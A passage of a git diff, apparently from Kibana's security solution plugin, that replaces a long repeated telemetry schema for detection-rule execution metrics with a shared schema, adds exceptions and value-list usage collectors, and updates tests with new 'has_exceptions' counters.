message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - threat_match: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - machine_learning: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - query: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - saved_query: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - threshold: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - total: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of succeeded rules' }, - }, - }, - }, - custom_rules: { - eql: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - new_terms: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - esql: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - threat_match: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - machine_learning: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - query: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - saved_query: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - threshold: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - total: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of succeeded rules' }, - }, - }, - }, - }, - }, + detection_rules: rulesMetricsSchema, ml_jobs: { ml_job_usage: { custom: { @@ -4003,33 +307,45 @@ export const registerCollector: RegisterCollector = ({ }, }, riskEngineMetrics: riskEngineMetricsSchema, + exceptionsMetrics: exceptionsMetricsSchema, + valueListsMetrics: valueListsMetricsSchema, }, isReady: () => true, fetch: async ({ esClient }: CollectorFetchContext): Promise => { const savedObjectsClient = await getInternalSavedObjectsClient(core); - const [detectionMetrics, endpointMetrics, dashboardMetrics, riskEngineMetrics] = - await Promise.allSettled([ - getDetectionsMetrics({ - eventLogIndex, - signalsIndex, - esClient, - savedObjectsClient, - logger, - mlClient: ml, - legacySignalsIndex, - }), - getEndpointMetrics({ esClient, logger }), - getDashboardMetrics({ - savedObjectsClient, - logger, - }), - getRiskEngineMetrics({ esClient, logger, riskEngineIndexPatterns }), - ]); + const [ + detectionMetrics, + endpointMetrics, + dashboardMetrics, + riskEngineMetrics, + exceptionsMetrics, + valueListsMetrics, + ] = await Promise.allSettled([ + getDetectionsMetrics({ + eventLogIndex, + signalsIndex, + esClient, + savedObjectsClient, + logger, + mlClient: ml, + legacySignalsIndex, + }), + getEndpointMetrics({ esClient, logger }), + getDashboardMetrics({ + savedObjectsClient, + logger, + }), + getRiskEngineMetrics({ esClient, logger, riskEngineIndexPatterns }), + getExceptionsMetrics({ esClient, logger, savedObjectsClient }), + getValueListsMetrics({ esClient, logger }), + ]); return { detectionMetrics: detectionMetrics.status === 'fulfilled' ? detectionMetrics.value : {}, endpointMetrics: endpointMetrics.status === 'fulfilled' ? endpointMetrics.value : {}, dashboardMetrics: dashboardMetrics.status === 'fulfilled' ? dashboardMetrics.value : {}, riskEngineMetrics: riskEngineMetrics.status === 'fulfilled' ? riskEngineMetrics.value : {}, + exceptionsMetrics: exceptionsMetrics.status === 'fulfilled' ? exceptionsMetrics.value : {}, + valueListsMetrics: valueListsMetrics.status === 'fulfilled' ? valueListsMetrics.value : {}, }; }, }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/get_metrics.test.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/get_metrics.test.ts index 8db31c97707db..186df46917d39 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/get_metrics.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/get_metrics.test.ts @@ -114,6 +114,7 @@ describe('Detections Usage and Metrics', () => { has_alert_suppression_per_rule_execution: false, has_alert_suppression_per_time_period: false, alert_suppression_fields_count: 0, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -132,6 +133,7 @@ describe('Detections Usage and Metrics', () => { notifications_disabled: 0, legacy_investigation_fields: 0, alert_suppression: initialAlertSuppression, + has_exceptions: 0, response_actions: initialResponseActionsUsage, }, elastic_total: { @@ -145,6 +147,7 @@ describe('Detections Usage and Metrics', () => { notifications_disabled: 0, legacy_investigation_fields: 0, alert_suppression: initialAlertSuppression, + has_exceptions: 0, response_actions: initialResponseActionsUsage, }, }, @@ -194,6 +197,7 @@ describe('Detections Usage and Metrics', () => { notifications_disabled: 0, legacy_investigation_fields: 0, alert_suppression: initialAlertSuppression, + has_exceptions: 0, response_actions: initialResponseActionsUsage, }, query: { @@ -207,8 +211,23 @@ describe('Detections Usage and Metrics', () => { notifications_disabled: 0, legacy_investigation_fields: 0, alert_suppression: initialAlertSuppression, + has_exceptions: 0, response_actions: initialResponseActionsUsage, }, + query_custom: { + alerts: 800, + cases: 1, + disabled: 1, + enabled: 0, + legacy_notifications_enabled: 0, + legacy_notifications_disabled: 0, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_investigation_fields: 0, + alert_suppression: initialAlertSuppression, + response_actions: initialResponseActionsUsage, + has_exceptions: 0, + }, }, }, }); @@ -262,6 +281,7 @@ describe('Detections Usage and Metrics', () => { has_alert_suppression_missing_fields_strategy_do_not_suppress: false, has_alert_suppression_per_rule_execution: false, has_alert_suppression_per_time_period: false, + has_exceptions: false, has_response_actions: false, has_response_actions_endpoint: false, has_response_actions_osquery: false, @@ -280,6 +300,7 @@ describe('Detections Usage and Metrics', () => { notifications_disabled: 0, legacy_investigation_fields: 0, alert_suppression: initialAlertSuppression, + has_exceptions: 0, response_actions: initialResponseActionsUsage, }, query: { @@ -293,6 +314,7 @@ describe('Detections Usage and Metrics', () => { notifications_disabled: 0, legacy_investigation_fields: 0, alert_suppression: initialAlertSuppression, + has_exceptions: 0, response_actions: initialResponseActionsUsage, }, }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/get_initial_usage.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/get_initial_usage.ts index 4cca150171f6b..9ec06a29eb27c 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/get_initial_usage.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/get_initial_usage.ts @@ -13,6 +13,7 @@ import type { SingleEventMetric, AlertSuppressionUsage, SpacesUsage, + FeatureTypeUsage, ResponseActionsUsage, } from './types'; @@ -44,127 +45,41 @@ export const getInitialSpacesUsage = (): SpacesUsage => ({ rules_in_spaces: [], }); +export const getInitialFeatureTypeUsage = (): FeatureTypeUsage => ({ + enabled: 0, + disabled: 0, + alerts: 0, + cases: 0, + legacy_notifications_enabled: 0, + legacy_notifications_disabled: 0, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_investigation_fields: 0, + alert_suppression: initialAlertSuppression, + response_actions: initialResponseActionsUsage, + has_exceptions: 0, +}); + /** * Default detection rule usage count, split by type + elastic/custom */ export const getInitialRulesUsage = (): RulesTypeUsage => ({ - query: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - threshold: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - eql: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - machine_learning: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - threat_match: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - new_terms: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - esql: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, - elastic_total: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: 